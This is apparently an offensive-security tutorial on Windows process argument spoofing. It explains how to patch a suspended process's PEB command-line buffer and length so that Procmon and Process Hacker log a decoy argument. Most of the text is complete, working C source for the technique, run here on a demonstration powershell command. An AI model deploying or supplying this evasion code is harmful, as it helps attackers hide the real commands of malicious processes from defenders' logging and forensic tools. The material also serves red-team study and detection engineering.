Process argument spoofing conceals the command line arguments of a newly spawned process to avoid logging by services like Procmon. The technique involves understanding the PEB structure to access the RTL_USER_PROCESS_PARAMETERS structure, which contains the CommandLine member storing the arguments. To spoof the arguments:
Create the target process in a suspended state.
Retrieve the remote PEB address of the created process using NtQueryInformationProcess.
Read the remote PEB structure and then read the RTL_USER_PROCESS_PARAMETERS structure.
Patch the CommandLine.Buffer string with the desired payload.
Resume the process.
It's crucial to ensure the length of the payload argument written to CommandLine.Buffer is not greater than the length of the dummy argument used during process creation to avoid crashes. Helper functions like ReadFromTargetProcess and WriteToTargetProcess facilitate reading from and writing to the target process. The main function, CreateArgSpoofedProcess, executes the argument spoofing, taking in dummy and real arguments, and returning process ID and handles.
However, Process Hacker along with tools like Process Explorer, reads command line arguments using NtQueryInformationProcess during runtime. Thus, they can access PEB->ProcessParameters.CommandLine.Buffer directly.
Anyway, this tools limit the bytes they read from CommandLine.Buffer to the length specified by CommandLine.Length. They don't rely on null-termination of UNICODE_STRING.Buffer. By controlling CommandLine.Length, one can manipulate how much of the payload within CommandLine.Buffer is disclosed.
By setting CommandLine.Length to a smaller value than the buffer size, one can restrict what is exposed. This is done by spoofing the argument initially, then patching CommandLine.Length to the desired buffer size (e.g., sizeof(L"powershell.exe")).
#include<Windows.h>#include<stdio.h>#include<winternl.h>/*process start like: "powershell.exe Totally Legit Argument"spoofing 1 write the followin buffer over the above string: "powershell.exe -NoExit calc.exe"the result is: "powershell.exe -NoExit calc.exe ument"runtime spoofing cuts the strings above to be of a specifice size, we do so of size equals to sizeof(L"powershell.exe")so that using process hacker and other tools, process's command line arguments will look like this: "powershell.exe"*/// disable error 4996 (caused by sprint)#pragmawarning (disable:4996)/* sizeof(STARTUP_ARGUMENRS) > sizeof(REAL_EXECUTED_ARGUMENTS)*/#define SIZE_EXPOSED_FROMPAYLOAD sizeof(L"powershell.exe") // this is what will be exposed in process hacker (using its size)
#defineSTARTUP_ARGUMENRS L"powershell.exe Totally Legit Argument"#defineREAL_EXECUTED_ARGUMENTS L"powershell.exe -NoExit calc.exe"typedefNTSTATUS (NTAPI* fnNtQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);// Helper Function// Read Data from remote process of handle `hProcess` from the address `pAddress` of size `dwBufferSize`// output base address is saved in `ppReadBuffer` parameter BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) { SIZE_T sNmbrOfBytesRead =NULL;*ppReadBuffer =HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize); if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize) {
printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError());printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize);returnFALSE; }returnTRUE;}// Helper Function// Write Data to remote process of handle `hProcess` at the address `pAddressToWriteTo`// `pBuffer` is the data to be written of size `dwBufferSize`BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) { SIZE_T sNmbrOfBytesWritten =NULL; if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != dwBufferSize) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize);returnFALSE; }returnTRUE;}/*parameter: - szStartupArgs; the fake argument (these look legit) - or - it is just the process name - szRealArgs; the argument you want the process to actually run - dwProcessId & hProcess & hThread; output parameters - information on the created process*/BOOL CreateArgSpoofedProcess2(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
NTSTATUS STATUS =NULL; WCHAR szProcess[MAX_PATH]; STARTUPINFOW Si = { 0 }; PROCESS_INFORMATION Pi = { 0 }; PROCESS_BASIC_INFORMATION PBI = { 0 }; ULONG uRetern =NULL; PPEB pPeb =NULL; PRTL_USER_PROCESS_PARAMETERS pParms =NULL;RtlSecureZeroMemory(&Si,sizeof(STARTUPINFOW));RtlSecureZeroMemory(&Pi,sizeof(PROCESS_INFORMATION)); Si.cb =sizeof(STARTUPINFOW);// getting the address of the `NtQueryInformationProcess` function fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess ==NULL) returnFALSE;lstrcpyW(szProcess, STARTUP_ARGUMENRS);wprintf(L"\t[i] Running : \"%s\" ... ", szProcess);if (!CreateProcessW(NULL, szProcess,NULL,NULL,FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, // creating the process suspended & with no windowNULL, L"C:\\Windows\\System32\\", // we can use GetEnvironmentVariableW to get this Programmatically&Si,&Pi)) {printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError());returnFALSE; }printf("[+] DONE \n");printf("\t[i] Target Process Created With Pid : %d \n", Pi.dwProcessId);// gettint the `PROCESS_BASIC_INFORMATION` structure of the remote process (that contains the peb address) if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS);returnFALSE; }// reading the `peb` structure from its base address in the remote processif (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress,&pPeb,sizeof(PEB))) {printf("\t[!] Failed To Read Target's Process Peb \n");returnFALSE; }// reading the `ProcessParameters` structure from the peb of the remote process// we read extra `0xFF` bytes to insure we have reached the CommandLine.Buffer pointer// `0xFF` is 255, this can be whatever you like if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
printf("\t[!] Failed To Read Target's Process ProcessParameters \n");returnFALSE; }// writing the parameter we want to run wprintf(L"\t[i] Writing \"%s\" As The Process Argument At : 0x%p ... ", szRealArgs, (PVOID)pParms->CommandLine.Buffer);
if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) {
printf("\t[!] Failed To Write The Real Parameters\n");returnFALSE; }printf("[+] DONE \n");// runtime spoofing - to change from "powershell.exe -NoExit calc.exe ument" to "powershell.exe" DWORD dwNewLen = SIZE_EXPOSED_FROMPAYLOAD; wprintf(L"\n\t[i] Updating The Length Of The Process Argument From %d To %d ...", pParms->CommandLine.Length, dwNewLen);
if (!WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))) {
printf("\t[!] Failed To Write The Real Parameters\n");returnFALSE; }printf("[+] DONE \n");// cleaning upHeapFree(GetProcessHeap(),NULL, pPeb);HeapFree(GetProcessHeap(),NULL, pParms);// resuming the process with new paramtersResumeThread(Pi.hThread);// saving output parameters*dwProcessId = Pi.dwProcessId;*hProcess = Pi.hProcess;*hThread = Pi.hThread;// checking if everything is validif (*dwProcessId !=NULL,*hProcess !=NULL&&*hThread !=NULL)returnTRUE;returnFALSE;}intmain() { HANDLE hProcess =NULL, hThread =NULL; DWORD dwProcessId =NULL;wprintf(L"[i] Target Process Will Be Created With [Startup Arguments] : \"%s\" \n", STARTUP_ARGUMENRS);wprintf(L"[i] The Actual Arguments [Payload Argument] : \"%s\" \n", REAL_EXECUTED_ARGUMENTS);if (!CreateArgSpoofedProcess2(STARTUP_ARGUMENRS, REAL_EXECUTED_ARGUMENTS,&dwProcessId,&hProcess,&hThread)) {return-1; }printf("\n[#] Press <Enter> To Quit ... ");getchar();CloseHandle(hProcess);CloseHandle(hThread);return0;}